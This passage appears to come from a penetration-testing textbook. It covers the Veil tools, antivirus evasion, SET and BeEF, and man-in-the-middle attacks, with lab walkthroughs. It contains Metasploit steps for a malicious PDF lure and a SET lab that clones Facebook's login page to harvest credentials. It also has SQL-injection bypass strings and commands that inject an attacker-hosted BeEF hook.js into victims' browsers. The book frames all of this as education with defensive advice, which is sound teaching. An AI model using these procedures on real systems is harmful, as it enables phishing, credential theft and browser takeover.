      msf > exploit (adobe_pdf_embedded_exe) > show options

Let's go ahead and name it. You can name it whatever you want, but for5.
demonstration purposes only I named this file JobApplication.pdf to
implement the social engineering aspect of the attack:
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      msf > exploit (adobe_pdf_embedded_exe) > set FILENAME
      JobApplication.pdf

Now set your listener IP (this will be your host IP address):6.

      msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.0.25

Now you can use run or exploit to create it:7.

      msf > exploit (adobe_pdf_embedded_exe) > run

The file should be at /root/.msf4/local/JobApplication.pdf.8.

Keep in mind that this is not the only way to create a malicious PDF and
including methods to adapt it for any means of intrusion.
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The scenario
Now let's say you've been job hunting, submitting applications, and posting your resume
on various online boards. Someone e-mails you who claims to be a manager at this
prestigious company with a good position on offer, but you need to print out the
application, fill it out, scan it, then send it back, and then wait for a call to set up an
appointment. This e-mail includes a PDF of the job application; once users click on it the
payload is executed and now your system is compromised. This PDF could've been a back
door or a remote access Trojan (RAT), paired with a phishing attempt to steal your
information. It's a sad reality; often the victims can be anyone and now social engineering
can make things a lot easier for the cyber criminals to gain access into your life, taking your
time and money.

To avoid these attacks it is best to know your source and who and where you're getting any
PDF or file from, whether it's from an e-mail or from someone else's PC or even USB
devices.

Most antivirus applications clear away and even having a Gmail account offers decent
protection against spam, virtual scams, and phishing attacks.

Veil-PowerTools
Veil-PowerTools are a group of PowerShell tools that have been collected together for an
offensive approach to network security. One of the tools found within Veil-PowerTools is
called Veil-PowerView. These tools are used by hackers to mine for data. Once on a
network a hacker may use Veil-PowerView to see where shared user access is found. The
attacker would then type PS C:\> Invoke-ShareFinder -Ping -CheckShareAccess
-Verbose | Out-File -Encoding ascii found_shares.txt. This command queries
Active Directory (AD) for all machine objects, pings each one to ensure the host is up
before enumeration, checks each found share for read access, and outputs everything to
found_shares.txt. The -Verbose flag gives some status output as it plows through all
retrieved servers. This tool is often used to map out a network and locate where valuable
data may be stored.

Another powerful tool found within Veil is called Veil-Catapult. This is a payload
delivery tool that works in combination with Veil-Evasion. Veil-Catapult has various
options you can set to deliver your payload. You can deliver the payload to single IPs or a
list of IPs. You can also set a domain if you choose to. Veil-Catapult can upload and
trigger the payload:
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As you can see from the preceding screenshot, Veil-Catapult offers standalone payloads.
The standalone payloads are tested and verified payloads that are proven to be effective.
These payloads will often utilize a PowerShell once triggered, created from a PowerShell-
injected payload generated by Veil-Evasion. Another feature of Veil-Catapult is
that is comes with its own cleanup scripts to cover its tracks. The script can be run by typing
the following command: ./Veil-Catapult.py -r CLEANUP_FILE. This script will kill
all associated processes on infected hosts, and then delete any uploaded binaries to cover
any trace of infection. Veil-Catapult goes even further in evasion than other Veil-
Framework tools. It not only evades antivirus applications, but it is also able to clean up any
traces of an attack. Veil-Catapult is a highly-supported project and it is continually
updated with new standalone payloads to use. Hackers that use Veil-Evasion as their
payload generator and Veil-Catapult as their delivery method will be extremely difficult
to stop. That is why offensive security is important. As a threat hunter, you must actively
search out this type of network activity and look for the signs of a pending attack. All the
most successful hacking crimes that have taken place in the last twenty years have begun
with some type of social engineering. If you notice your company and or its network being
probed for weak points, you can most likely expect an attack to happen soon. Being able to
recognize the signs of a pending attack could make the difference. It is important for anyone
in cyber security to have a solid understanding of how a hacker thinks, what tools they use
to attack with, how those tools work, and where the newest tools will emerge from. It is
highly recommended that, as a network security professional, you familiarize yourself with
the Veil-Framework and its various tools.
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What is antivirus protection?
Before we look at protection we need to understand what antivirus software really is. An
antivirus application is a program that helps to protect your computer against most viruses,
worms, Trojan horses, and other unwanted invaders that can make your computer sick or
vulnerable. These types of malicious file (viruses, worms, and the like) often perform
malicious acts, such as deleting files, accessing personal data, or using your computer to
attack other computers. Now that we understand a few consequences of not having
antivirus software, we can look at why protection is important.

It's a common misconception that having antivirus software is pointless because they are
always out-of-date. Currently antivirus and antivirus suites provide protection against
commonly known malicious files as well as common malicious files created from hacking
toolkits that are known to antivirus software creators. An example could be when someone
uses the social engineering toolkit, which is very common; the antivirus creators already
understand how this toolkit will create an exploit or a virus so signatures from the toolkit
have already been detected and are known.

What are some vulnerabilities in antivirus
protection?
The biggest vulnerability when it comes to AV is the fact that so many unaware end users
assume that AV protection will stop everything. The typical user doesn't learn good
browsing habits because of the false sense of security that antivirus protection fosters.
Another area of concern relating to antivirus's protection is that the database used to detect
viruses needs to be updated periodically.

How often should my antivirus software be updated? That is a common question, and
there's no easy answer. The more updates, the better, but is that always true? When the
software updates, it drains resources. So there must be a balance between checking for
updates and installing those updates. How do I choose the best antivirus? That happens to
be a very good question.
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For example, we could include a comparison between antivirus1 and antivirus2. Antivirus1
might be free, but it only updates once a week. Antivirus2 costs $50, but it updates daily.
Which of the two would be the best option? If we are basing it on cost then free is always
good, but if we are basing it on update time then maybe antivirus2 is a better choice. When
choosing AV software, it is recommended to research all features and details. For example,
usability, false-positive rates, and user reviews can all provide valuable information. Sadly,
many users don't conduct the proper research to determine the best antivirus for their
situation.

Evasion and antivirus signatures
Antivirus applications work by comparing files to a known signature database. So if a file
has the same code string as one that was reported as a virus, then that file is shown to be a
virus. That is a typical scenario of false positives. However, if you take a known virus and
you modify the signature, then the antivirus no longer views it as a threat; or does it? Often
end users are only aware of antivirus applications as signature-based, but there are other
types out there. Examples could include behavior-based antivirus applications, where the
software looks at behavior or actions instead of signatures. In this type of example, the
antivirus software will look for a predetermined list of actions that have been flagged as
malicious behaviors.

Summary
Now that we have finished this chapter, you should have a better understanding of what
the Veil-Framework is and how it functions. It is important to remember the need for
antivirus software and to always keep it updated with the latest file signature databases. As
we discussed, using outdated antivirus databases will render antivirus protection useless.
After explaining what a zero day exploit is and why it is so effective, you can understand
why zero days are nearly impossible to stop. Remember that a clear majority of zero day
exploits will not be stopped by antivirus software, intrusion detection systems, or
traditional cyber security methods. We will discuss later in this book how to use the threat
hunter doctrine to mitigate zero day attacks. It would be wise to use the information you
learned from this chapter and continue to advance your knowledge on analyzing file
signatures. Having a mastery of file signatures will allow you to enter the field of malware
and zero day analysis. According to the InfoSec Institute, the average starting salary for a
malware analysis is $107,000. The information you gained from this chapter will help you
get started in pursuing a career in malware analysis.
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Later in this book, we will demonstrate how to create a simple yet effective zero day exploit.
By already having established how zero days work, you will be able to have a deeper
understanding of how to construct and utilize them to maximum effect. One very important
rule to remember while using this kind of knowledge is: never use what you have learned
for illegal activity. The purpose behind learning how hackers attack is to formulate a
stronger network defense.
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6
Social Engineering Toolkit and

Browser Exploitation
In this chapter, we will explore how social engineering and browser exploitation impact
cyber security. The topics covered will include using social engineering toolkit (SET),
cloning website login pages, constructing phishing campaigns, exploring SET attack
options, defining browser exploits, using Browser Exploitation Framework (BeEF), and
discussing defense methods. This chapter focuses on the tools used for social engineering
and browser exploitation. There will be labs and screenshots of how to use SET and BeEF.
We will also discuss how to defend against these types of attacks. The objective of this
chapter is to give the reader applied knowledge of the tools used for social engineering and
browser exploitation attacks. It is recommended that you use a Kali Linux machine to run
the labs on your own. Both tools (SET and BeEF) come built into Kali Linux and are best
optimized with that operating system. To protect your physical devices, it is recommended
that you operate Kali Linux through a virtual machine. VMware player is a popular choice
to run virtual machines.

Social engineering
Before we discuss SET, we need to define what social engineering is. There are many
different definitions and interpretations depending on the field of study. In the cyber
security field, social engineering is defined as manipulating someone into disclosing
confidential information or gaining access to restricted areas such as a server room. It is
common for hackers to disguise themselves as an employee from a third-party company
like an AC repair man. A hacker may also pose as high level management on the phone or
in an e-mail.
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In February 2016, Snapchat's human resources (HR) department was hacked. The hack
started with social engineering. A hacker was able to do some reconnaissance on the CEO of
Snapchat and construct a phishing e-mail impersonating the CEO. The hacker was able to
socially engineer confidential information about employees, such as social security
numbers, bank account information, home address, phone numbers, and tax information.
Every bit of information that Snapchat's HR department had on both former and current
employees had been stolen. It wasn't long before this information was up for sale on dark
marketplaces. Some experts in the field of cyber security remarked on the lessons to be
learned from the Snapchat hack. According to Kevin Epstein, VP of Threat Operations at
Proofpoint:

"Snapchat's phishing attack should serve as yet another reminder to organizations and
employees that people remain the weakest link in security. Phishing attacks have become so
sophisticated that they entice even the most-senior executives to click on a link in an e-mail
or reply with requested sensitive information, without verbally confirming confidential
information directives before sending. Our recent Human Factor cybercrime report
documented that cybercriminals have found it more successful to prey on human behavior
rather than utilize sophisticated technical exploits. People are being used as a key parts of
criminal attacks; any defense must assume that natural human behavior will occur, and
compensate accordingly."

It is important to study attacks like the Snapchat HR hack in order to become better
prepared against similar attacks.

Some may have heard of the term confidence trick or confidence man to relate to how social
engineering works. A confidence man runs their victim through a designed physiological
maze to defraud them and achieve what they want. The confidence man will often disguise
themselves as someone who appears harmless needing help or someone with authority that
needs a task completed quickly. When the attacker has gained the victim's confidence they
will then execute their true intentions. Hackers use the confidence trick in the same way.
Some of the most effective hackers are masters of communication. Having powerful
communication skills can give a major advantage to a hacker. Being able to impersonate
how a CEO of a company writes a memo is not so simple. It requires study of the technical
communication style that a particular CEO uses to construct their memos. This is why some
hackers will begin their social engineering attacks with a phishing attempt to gain access to
their victim's e-mail account first. By learning what is in their victim's e-mail account, the
attacker can get a better understanding of how the victim communicates. Hackers will
sometimes perform reconnaissance on high profile targets for months.
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Social engineering comes in several different forms. One form is called phishing. This type
of social engineering is the most common. Most phishing e-mails are poorly constructed
and are sent out to millions of e-mails in the hopes that someone clicks on the link. This link
will either redirect them to a malicious URL or contain a hidden .exe in the link with a
payload. More crafted phishing e-mail campaigns are called spear-phishing. This involves
more research done on the target to provide more convincing details that the phishing e-
mail is legitimate. Usually spear-phishing e-mails are sent out in the range of 1-3000. The
goal is also stealth and to avoid any kind of detection. If the phishing campaign remains
unobserved then its chances of success dramatically increase. Another form is called
pretexting. This form is defined by having an attacker focus on a good pretext or false story,
in order to steal the victim's personal information. A hacker will usually ask the victim for
additional information to confirm their identity. Posing as bank employees for company HR
departments is very common. The main difference between pretexting and phishing e-mails
are the different emotions they manipulate. Phishing e-mails exploit the emotions of
urgency and fear. Pretexting exploits the false sense of trust that is built with the victim.
Although both methods of social engineering have the same objective, the fact that they
exploit different physiological vulnerabilities is what sets them apart. A third form of social
engineering is called baiting. This form is similar to phishing except for one aspect. Baiting
involves the hacker promising some type of valuable goods or services in exchange for the
cooperation of the victim. Hackers will often offer free music or videos in exchange for login
information on a falsely constructed site. What might look like a promotional giveaway on a
trusted site is really a false site that looks legitimate and offers to give away products that
don't even exist. An example would be getting an e-mail from your bank offering you a free
$100 gift card to a nice restaurant to show appreciation for your customer loyalty. To claim
this gift card, the e-mail requires you to click on the link provided so you can log into your
account to claim your prize. After logging in, you are redirected to the real login page of the
bank. By now the hacker has your login credentials and is most likely buying as much
bitcoin as they can. Baiting can be a very effective form of social engineering that is in
widespread use. It pays to be skeptical of free offers, especially on the Internet. A fourth
form of social engineering is called tailgating. This is a more aggressive and blatant form of
social engineering. Tailgating involves a hacker following an employee into a restricted
area. A hacker will sometimes pretend to have lost their access card and exploit the
sympathy of another employee who happens to be going through the same door. A
surprising number of real employees will unknowingly help the hacker gain access to
highly restricted areas such as data server rooms or access control facilities.
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In this lab, we will use SET to clone a website and demonstrate how a hacker might harvest
login credentials. For this lab, you will need a virtual machine player and a Kali Linux ISO.
You will also need to create an e-mail and have a victim device to infect. We will provide 
screenshots for each step of the process:

First, we need to open SET. The easiest way to do this is to find the Applications1.
tab located towards the upper-left of your Kali Linux machine. Under the
Applications tab, you will then select Exploitation Tools.
Under the Exploitation Tools you will see social engineering toolkit. The2.
following screenshot demonstrates where you can find it:
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As you can see in the screenshot there is a menu. There are six options to choose3.
from:

Social-Engineering Attacks: We will be exploring this option, but first
let's go over some of the other options.
Fast-Track Penetration Testing: This option offers many different
exploits and ways to automate attacks for network security testing.
Third Party Modules: This option allows you to create your own
modules. This will give you the option of customizing your own pen
testing tools to your liking. Once you become more familiar in how
current SET modules work you can then start to create your own.
Update the Social-Engineer Toolkit: This option is for keeping SET
updated with the latest version of the toolkit. SET is highly supported
and constantly improving its network penetration capabilities.
Update SET configuration: This option is basically the same as the
fourth except that it focuses on keeping the SET configuration updated.
It is important to consistently update SET to get the most reliable
performance.
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Help, Credits, and About: This option offers help, credits, and a
disclaimer. This option also provides direction in where to report any
bugs you may find. The disclaimer is also clear that SET is for network
security purposes and not for illegal activity. If you read the credits
you will see that SET is a large project with many people in
collaboration:

Now that we have covered the menu, we will select option 1) Social-4.
Engineering Attacks. From the screenshot, you will see that we have a
second list of options. From this list, we will be selecting option 2) Website
Attack Vectors. Our goal is to be able to clone a website with login fields
and socially engineer a (simulated) victim into typing their credentials into
the fake website. This is known as credential harvesting:
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You can also see from the screenshot that there are many options for
different attack vectors. This is where you can create a spear-phishing
campaign or a mass mailer phishing campaign. You can also set up
Arduino-based attacks, which can be used on surveillance cameras, to
create a loopback feed for example. The QRcode Generator Attack
Vector is also very interesting to check out. In later chapters, we will
explore some of these other options, but for now we'll focus on cloning
websites first.

After we select the Website Attack Vectors we are brought to the modules main5.
interface. This screen will have a list of eight options and will explain them in
detail.
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For this lab, we'll select option 3) Credential Harvester Attack Method. It is6.
worth exploring the other options because they offer different advantages for
certain types of attacks.

You can get a description of the different options from the following
screenshot:

The next screen will give a list of three options. For this lab, we will select option7.
number 2) Site Cloner:

The first option will allow you to select from some popular premade
website temples. The preloaded template options are Google,
Facebook, Twitter, and Yahoo login pages.
The third option allows you to import your own website template.

After we select option 2 we will be asked to provide the IP address of the8.
attacking machine.
Open up a second Terminal and type ifconfig to determine your IP.9.
Next, we will enter the URL of the website we want to clone. For this lab, we will10.
use a popular social media platform. We want to make it clear to only use this
information in a lab environment and not for any illegal activity.
To clone the site, we will type https://facebook.com/login. The following11.
screenshot demonstrates what the syntax looks like:
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After you hit Enter the harvester will be waiting for the victim to activate the12.
payload.
The next step involves constructing an e-mail with a link. The link will be set to13.
the attackers IP, but it will be disguised as a link from Facebook.

This is where social engineering comes more into play. The goal is to entice a user to want
to click on the link. Some hackers use the tactic of claiming to be from tech support and
requesting that you click on the like if you didn't want your password reset. Many people
won't think about it because of how well the e-mail is disguised by using SET. Since we are
doing this lab in a simulated environment we will use a DHCP issued IP instead of a static
IP. Most hackers will set the attacking IP to a static server somewhere in the world. Many
hackers rent a server in another country and have all the links set to the IP of that server.
Virtual private servers have increased popularity for this kind of activity. The following
screenshot displays how to set up the link to send in Gmail:
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Once the victim clicks on the link, they will be brought to a fake Facebook login page. It will
look identical to the real one. After the victim types their credentials into the text field on
the Facebook page, their credentials are instantly sent to the harvester file on the attacker's
machine. The page will redirect the victim to the real Facebook page like nothing happened.
Most users won't notice it at all. The output data will be in the following directory
var/www/html, from there, select the harvester file. For this lab, we made the victim's
username and password, testemail@gmail.com and password123. The output will also
show up in the Terminal. This is the final step. You have now captured the credentials and
completed this lab. We again advise that the knowledge gained in this lab should not be
used for any illegal activity. This lab's purpose is to demonstrate the methods and tools
some hackers use to attack with. We want to create a better understanding of the attack
method so we can strengthen defenses against these types of attacks. The following is a
screenshot that displays how the output will look in a Terminal. Towards the bottom of the
screenshot you will see the login credentials:
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What are web injections?
Web injections, also known as Structured Query Language injections (SQLi), are cyber-
attacks that deal with web application databases. A hacker can use various SQLi methods to
bypass a website security for authorization and recover data and information from the
entire database or delete certain records. A compromised database can also be manipulated
where additional content was added or modified.

How SQL injections work
To conduct any SQL injection, we must first find an entry point in the website or web
application where we can input a query like the following:

Use the following pseudo code to see how this works on the backend:

#Define Post
name = request.POST['username']
pwd = request.POST['password']

# Vulnerable SQL Query
sql = "SELECT id FROM clients WHERE username='" + name + "' AND password='"
+ pwd + "'"

# Execute the statement
database.execute(sql)

This is a simple script for authenticating users against a table called clients with a
username and password column.



Social Engineering Toolkit and Browser Exploitation

[ 136 ]

Now if a login input was scripted with this code then we can perform a simple injection
attack using the following statement: 'password' OR '1'='1' in the Password field of
the login. Then when the query runs, the result returned will be true, bypassing
authentication.

Commenting out a query statement after the injection string saves time and simplifies
complex attacks. This helps prevent syntax errors, trailing characters, and simplifies long
query statements. Now there's more than one way to comment out a statement. The
following are examples of how to comment out the rest of the query after you added the
injection. The comment options are highlighted at the end of the query example.

This first example is called an SQL comment - -. The second example is called a C style
inline comment /*. The third example is called a hash comment #. The fourth example is
called a Nullbyte %00. The last example is called a Backtick `:

-- MySQL
' OR '1'='1' --
' OR '1'='1' /*
' OR '1'='1' #
' OR '1'='1' %00
' OR '1'='1' `

SQL is designed for data management that is stored in a Relational database management
system (RDBMS), so it could access, delete, or modify data. One essential role of SQL is to
target data based on a query, this vulnerability could potentially reveal all data from within
a database server. Also in some cases, an RDBMS can run commands on the OS using an
SQL statement.

A cyber-attack can use SQL to bypass web application authentication or imitate a certain
user.

Some servers may even be configured to allow arbitrary execution of OS commands on the
DB server, so if the conditions are suitable then an attacker could target an internal network
behind a firewall using an SQL injection as the initial vector.

There are different categories for the types of attack using SQL injections:

First order: inputs with malicious string of text to be executed immediately
Second order: code injected into persistent storage
Lateral injection: manipulating the implication To_Char() by changing the
values of the environment variables, NLS_Date_Format
orNLS_Numeric_Characters.
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Cross site scripting (XSS) attacks
These web application security vulnerabilities enable attackers to inject client-side script in
web pages. They often occur when data enters through from an untrusted source, and also
dynamic content that's sent to users without validation for malicious content. The
implementation for these types of attacks ranges widely, but private transfer of cookies,
sessions, sensitive data, and redirection are some things that cross-site scripting is capable
of. XSS attacks are commonly either stored or reflected. Stored XSS is where user input is
stored on the server, and then a victim is able to retrieve the stored data from the web app
without that data being made safe to render in the browser. Reflected XSS is when user
input is immediately returned by a web app in an error message, or any response with
some or all input from the user, without that data being made safe to render in the browser.
The types of cross scripting:

Server XSS: When unverified users provide data that is included in an HTML
response generated by the server. This vulnerability is in server-side code, and
the browser is simply rendering the response and executing any valid script
embedded in it.
Client XSS: Occurs when untrusted user supplied data is used to update the
DOM with an unsafe JavaScript call.

Preventative measures against XSS attacks
The following are some of the preventive measures against XSS attacks:

Content security policy
Disable any client side scripts
Cookie security set a cookie that is unavailable to client-side scripts
Run untrusted HTML input through a HTML sanitization engine
Contextual output encoding/escaping
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How to reduce your chances of being attacked
Let's look at how we can reduce our chances of getting attacked:

We can begin to mitigate from the impact of an attack by making sure that that all
excess database privileges are denied and that disclosure is for end users only
Deflect from constructing dynamic SQLs with linked input values as they allow
the easiest access for SQL injections
Bind arguments eliminate the possibility of SQL injections and enhance
performance
Filter and sanitize input
Have a set of defined rules for syntax, length, and type
Use type-safe SQL parameters for data access
Eliminate all procedures that are not in use

Browser exploitation with BeEF
BeEF is a powerful tool that exploits web and browser-based vulnerabilities such as client-
side and XSS attacks. With BeEF you can put up a link that when a user clicks on it, it will
hook that user's browsers into the frameworks server. From there you can run malware on
the hooked browser's IP address and use it to invade another host on the same network,
dispersing the malware effectively.

When you launch BeEF from Kali Linux, the default credentials for both the username and
password is beef:
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Browser hijacking
The goal with BeEF is to hook a browser. We'll need a victim's browser to visit a vulnerable
website. The hooked browser then communicates to commands sent from the BeEF server.
Then the hooked browser will make the reverse connection to the server of BeEF and we
would have full control over the victim's computer. Look for a JavaScript file named
hook.js, as you will need to get the victim to execute it in a vulnerable web application.
Once it's hooked, we can apply various commands, such as:

Webcam

Screenshot

Get all cookies

Get visited URLs

Grab Google Contacts

An Adobe Flash dialog box will appear asking the users to either allow or cancel. You can
customize these dialog boxes to meet your social engineering for users to click accept.

Now there are numerous ways to hook other browsers and with the three following
methods, we're going to be using the BeEF with other man-in-the-middle tools that you can
install or may already be including if you're using an updated Kali Linux.

BeEF with BetterCap
Run BeEF and take note of the hook URL:1.

      ./beef

Open another Terminal and type the following:2.

      sudo bettercap --proxy-module injectjs --js-url
      "http://192.168.1.1:3000/hook.js"

When targeting a single host only, type the following:3.

      sudo bettercap -T <Victim's IP Address> --proxy-module injectjs
      --js-url "http://192.168.1.1:3000/hook.js"
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Now open your browser and log in to the BeEF web interface:4.
http://192.168.1.1:3000/ui/panel

You should see the hooked browsers on your left.

BeEF with man-in-the-middle framework (MITMF)
Use the MITMF.1.
Open up a new Terminal:2.

      Use mitmf --spoof --arp -i <interface> --gateway <router IP>
      --target <target IP> --inject --js-url <hook.js URL>

spoof: Loads the spoof plugin
arp: Redirects ARP packets
i: Specifies the interface to inject packets on
gateway: Sets the IP of your router to redirect through
target: Sets the target IP to inject the hook.js script
inject: Loads the inject function
js-url: Specifies the JavaScript code to inject

BeEF with SET
Using the social engineering toolkit, open up a new Terminal and type set or1.
choose options 1, 2, 3, 2 (Credential harvester method) and enter your IP address.
Next, choose option 2 and clone a site with a login. Use this to allow everyone to
read and execute the file:

      chmod 755 /var/www/index.html

Now include the following script in the index.html file after <head> and before2.
</head> and be sure to put in your IP address:

      <script type="text/javascript" src="http://<IP
      Address>:3000/hook.js"></script>

So now you can send a link and socially engineer victims directly to your cloned webpage.
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Summary
In this chapter, we learnt about credential harvesting. We also saw how phishing
campaigns can be developed and run to capture usernames and passwords from an
insecure login page.

In Chapter 7, Advanced Network Attacks, we will learn about the man in the middle
framework.



7
Advanced Network Attacks

This chapter will focus on building a solid understanding of advanced network attacks. The
topics covered will include defining what an man-in-the-middle (MITM) attack is,
discussing characteristics of related attacks, and learning how to use MITM pen testing
tools. Having awareness of how this type of attack operates will give the reader a significant
advantage when defending against it. For example, detecting the early signs of an MITM
attack is critical to prevent catastrophic damage from taking place. Without awareness, this
attack can easily go undetected by network security teams. Many companies have been
destroyed by this popular attack method. The repercussions of an MITM attack can have
reverberating consequences, lasting years or even permanently. Reading this chapter will
also provide an opportunity to gain applied knowledge and hands-on experience using an
MITM tools.

What is an MITM attack?
Basically an MITM attack is a method used to eavesdrop into the network to listen
undisclosed between two systems. MITM is not the. This cyber-attack involves intercepting
the traffic of data and communication between two or more hosts can either be
manipulated, obstructed, or commonly passed through unnoticed to collectively harvest
sensitive data. The attack may also be infiltrating to impersonate and phish for specific
information. This type of attack can also be conducted with HTTPs by having an SSL
connection with the attacker who then establishes another SSL with the web server. You
may or may not get a warning regarding the validity of the certificate, depending if the 
attacker had either forged or signed with a trusted certificate authority (CA) with the
common name (CN) from the website involved. MITM is a form of session hijacking
exploiting real-time transmission between the targeted systems.
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The following figure provides a visual aid of how an MITM attack works:

Related types of attacks
The following are the different types of attacks:

Sniffing: Using packet analyzer software, aka sniffers, any unencrypted data
passing through the network can be captured. There are many uses for a sniffer
for both good and bad. But focusing on the cyber security aspect of an attacker,
sniffing will provide a lot of useful data from the network traffic host information
to the visited websites. Pretty much anything that requires communication from
one system to another, which is pretty much everything in the cyber world.
Side jacking: This involves abducting a user's web session, typically for access
into the account of the website. The attacker could be using a sniffer to collect
cookies.
Evil twin: A fake Wi-Fi that may show up as legitimate wireless network. When
users join, or are within range of the rogue access point, all data and
communication will be intercepted between a user and the Internet.
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Address resolution protocol (ARP) spoofing: This deals with deceiving the ARP
resolving data transmission between the network and the hosts connected. An
attacker can utilize ARP spoofing to receive, change, or poison the network to
DoS it.
Domain name system (DNS) spoofing: DNS cache poisoning, usually 
implemented to redirect users to other websites or possibly an identical clone.
This type of attack can occur when misleading data in the cache is injected and
put into the name server.
Dynamic Host Configuration protocol (DHCP) spoofing: This attack involves
changing the responses under the DHCP intercepting request. In simplicity, the
attacker can offer IP addresses using a forged DHCP using the attacker as the
default gateway/DNS leading into an MITM.

Examples of MITM
In this example, let's say we have victim A, victim B, and an attacker. Victim A and victim B
are friends in real life, but are often busy and don't see each other face to face very often, so
they communicate through text. The scenario is that victim A is currently sending messages
to victim B about selling a car, which victim B agrees to buy. Victim B sends a message back
regarding which account to send money to for purchasing the car. That was a major mistake
because both victims were vulnerable of an attacker who was monitoring the entire
conversation from the start and completed the attack by manipulated the accounts number
in the messages.

Another example of an MITM attack is using a cloned web page to gain access to an
account. Fraudulent financial and social media websites are often used with cloned web
adresses. This can be done in several ways, one of the well-known methods is to create an
identical web page on an Apache server and change the host records of the users if you
have access to the system or spoof the DNS to redirect to your site and then redirect back to
the original website you intended to sign into.

Tools for MITM attacks
We will consider various tools that can be used to effectively perform a MITM attack. Under
certain circumstances or on purpose, each tool has their strengths and weaknesses. The
tools we cover in this chapter are not the only ones available. They are just a few well-
known tools within the community for vulnerability assessment.
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Installing MITMF using Kali Linux
The first tool we will cover is called the MITMF. This is a popular tool used for conducting
MITM attacks, because of its versatility and reliability. MITMF is a Python-based library
used for launching various types of MITM attacks. MITMF is a superior version of Bettercap
(which uses Ruby). We have prepared a hands-on lab, to demonstrate how to install and
use MITMF. The lab will give you a better understanding of the impact MITM attacks can
have on network security. It is also meant to provide applied knowledge, reinforcing the
information or theory discussed earlier in the chapter. It's important to remember that
theory can only take you so far in your comprehension of what you want to learn. It is
important to understand this concept for acquiring knowledge that you can apply in the
field.

The lab we have prepared will show you how to install MITMF and use it to intercept
network traffic. Completing both parts of the lab will build your applied knowledge. It will
also provide you hands-on experience with the same framework used by security
professionals in the field. This lab works best by following our recommendations for
equipment, methods of installation, usage, and troubleshooting. We recommend using the
virtual image of Kali Linux for the most stable experience. The virtual image can be found
at the following link:
https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/

Before we start the lab, we need to plan our sandbox environment and choose equipment to
match the scope of the lab. We are going to use Kali Linux as the attacking device and
Windows 7 or 10 as the victim device (also running in a virtual machine). It is a good idea to
use virtual machines when creating sandbox environments and testing new tools. If
mistakes are made, a virtual machine can be easily replaced. This will save your physical
devices from the consequences of unforeseen anomalies. We advise becoming proficient in
using virtual machines. Knowing how to set up a proper virtual sandbox environment will
enhance your skills as a penetration tester and cyber security researcher. Acquiring this
applied skill will increase your desirability among potential employers. It will also boost
your level of compensation and professional status.

https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/
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The lab we are about to conduct is only to be used for educational purposes. Malicious use
of this knowledge can result in serious consequences and lasting repercussions. Always be
responsible by not crossing the line into unlawful actions. Use the knowledge you're about
to gain for empowerment and not potential imprisonment.

OK, let's get started by following these steps:

Before we install MITMF, we need to make sure that the Kali Linux version is the1.
current one with the latest updates and upgrades. To do that, open a Terminal in
Kali and type the following command: apt-get update && apt-get upgrade
and then press Enter. This should only take 5-10 minutes if you regularly
update/upgrade your Kali Linux machine once a week. It is recommended that
you stay current, to avoid time consuming updates and upgrades.
After the update and upgrade process is finished, keep the Terminal open and2.
type the following command: apt-get install mitmf and then type y for yes
to continue.
The rest of the install process is automated for you. The following screenshot3.
displays what screen you will see during the install process:
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To save your time and frustration carefully read the following advice. If
you are using the Kali Linux ISO instead of the recommended VM image,
you must configure the network settings to communicate with the
network mirror. If you need additional configuration/installation help, the
best resource to use is the following link:
http://docs.kali.org/category/installation. This part of the process
is important to get right. Your objective is a quick and clean install (also
recommended for beginners to Linux) with stable functionality. If you are
getting error messages informing you of missing repositories, follow this
link:
https://www.youtube.com/watch?v=Z4iXsLzPZuc&list=PL1U-z6tCj5WBNc

WNq7GGdJBo5GAMPGSa7&index=32, it will take you to a YouTube video
made by us. Watching the video, will help you fix multiple issues. The
video demonstrates an alternative install method. It will also demonstrate
the lab we are doing in the following step. Although other install methods
will work, the ones we are showing you offer the most efficiency and
reliability (especially if you are using VMs). The first install method also
works for many other Kali Linux security tools. It is a good idea to try
both installation methods, to get some experience in troubleshooting
errors. Being able to adapt and overcome obstacles quickly is important.
Murphy's law should always be expected, when working in cyber
security. Adopting this mentality, will keep you vigilant and confident in
handling any anomaly that comes up.

Once the installation process has finished, we will bring up the manual page for4.
MITMF. Use the Terminal you have open and type the following command:
mitmf or mitmf -h. Reading this page will get you familiar with the syntax and
features of MITMF. It is recommended that you read this page thoroughly before
proceeding with the next step. It will greatly enhance your comprehension of
what we are about to do next.

http://docs.kali.org/category/installation
https://www.youtube.com/watch?v=Z4iXsLzPZuc&list=PL1U-z6tCj5WBNcWNq7GGdJBo5GAMPGSa7&index=32
https://www.youtube.com/watch?v=Z4iXsLzPZuc&list=PL1U-z6tCj5WBNcWNq7GGdJBo5GAMPGSa7&index=32
https://www.youtube.com/watch?v=Z4iXsLzPZuc&list=PL1U-z6tCj5WBNcWNq7GGdJBo5GAMPGSa7&index=32
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The following screenshot displays what the manual page will look like:

Now that we have read the manual page, we can start the second part of the lab:

The objectives of this part of the lab are using MITMF combined with Metasploit
Framework (MSF) to deliver a payload, intercept network traffic, and spoof the
address of the attacking machine. Remember, the purpose of spoofing is to
manipulate the network addresses of both the router and victim device. Spoofing
will cause the victim's device to recognize your Kali Linux machine as the
network router. Spoofing the victim's network address will cause the router to
acknowledge the attacking device as the victim's machine. This also redirects
network traffic intended for the victim to the attacker first. Getting the network
traffic before the victim provides the hacker with an attack vector (pathway of
attack) to use for payload delivery:

Open a Terminal and type the following command: msfconsole. We are using1.
MSF in combination with MITMF to set up and deliver payload.
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In the msfconsole screen, type the following command: load msgrpc. This2.
command will load a plugin we need for using the remote access function of
MSF. It is important to remember that MSF can operate as a service and still be
used remotely. Remotely using MSF will give you the option of using customized
security scripts. Utilizing custom scripts will enhance the efficiency of the attack.
Next, we need to copy and paste the MSGRPC Password to the MITMF config file.3.
The following screenshot displays where the MSGRPC is located:

Next, we will edit the MITMF config file. The config file is located within the4.
main MITMF folder. The directory path should look like this:
/root/MITMF/config. We have also provided the following screenshot to
display the file location using the GUI:
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We need to edit the config file as a specific location. The two following5.
screenshots display where you should edit the config file.

The first screenshot shows the location where you need to paste the MSGRPC
Password:
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The following screenshot will show the location where you need to input the6.
attacking machines IP address and the port number. For this lab, we are using
port 7070. Remember to find the IP of the Kali Linux machine (attacker).
To find the IP, open a separate Terminal and type the following command:7.
ifconfig. You will be using this same IP and port number when configuring the
lhost and lport for the multi-handler. You need to make sure you set the
attacking IP and port number within the options of the correct operating system
in the config file. We want to mimic the system details of the victim. The victim
device is using Windows 10:

After the MITMF config file is set, we can get the multi-handler setup. Open a8.
Terminal and type msfconsole. Then type use exploit/multi/handler.
Once the multi-handler module comes up, we will set the payload options. First9.
